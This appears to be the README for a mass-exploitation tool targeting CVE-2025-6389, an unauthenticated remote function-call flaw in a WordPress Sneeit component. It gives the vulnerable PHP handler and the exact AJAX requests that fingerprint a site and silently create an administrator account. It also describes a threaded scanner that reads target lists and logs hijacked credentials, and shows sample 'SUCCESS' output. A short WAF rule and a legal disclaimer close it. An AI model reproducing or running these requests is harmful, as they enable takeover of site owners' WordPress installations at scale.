// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← User-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args

    // Calling ANY PHP function with ANY arguments — zero validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Step 1 — Probe / Fingerprint
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Expected Response → array(1) { [0]=> string(4) "test" }
  ↓
Confirms: call_user_func() is reachable and reflecting output

──────────────────────────────────────────────────────────────────
Step 2 — Admin Account Creation
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Result → New administrator account silently created on target
  ↓
Full WordPress admin panel access achieved ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: successful targets + credentials
└── debug_responses/          # Auto-generated: raw server responses for debugging
    └── <target>.resp.txt

https://target1.com
https://target2.com
http://target3.com

python CVE-2025-6389.py

Targets file name (default list.txt): list.txt
Number of threads (default 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Stats                               │
│  Usage: Put targets in...    │  Total Targets:  150                 │
│  Threads: 20                 │  Processed:      87                  │
│  Password: xplpass           │  Successes:      12                  │
│  Success Log: success...     │  Failures:       75                  │
│  Debug Dir: debug_responses  │  Elapsed:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Recent Results                                                      │
│  Time     Target                              Result                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

debug_responses/
└── https___victim.com.resp.txt   ← Raw server response for analysis

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.

By downloading, running, or modifying this script, you explicitly agree:

  • You have EXPLICIT, WRITTEN authorization from the owner of every
    system you test. No exceptions.

  • You are operating within a controlled lab environment or during a
    formally scoped and authorized engagement.

  • You will NOT deploy this tool against any system, network, or
    infrastructure you do not have legal permission to test.

  • Nxploited and all contributors assume ZERO liability for any
    unauthorized use, damage, data loss, legal action, or criminal
    prosecution arising from the use of this tool.

Unauthorized use of this exploit is a criminal offense under:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU Directive 2013/40/EU on Attacks Against Information Systems
  — And all equivalent national and international cybercrime laws.

USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.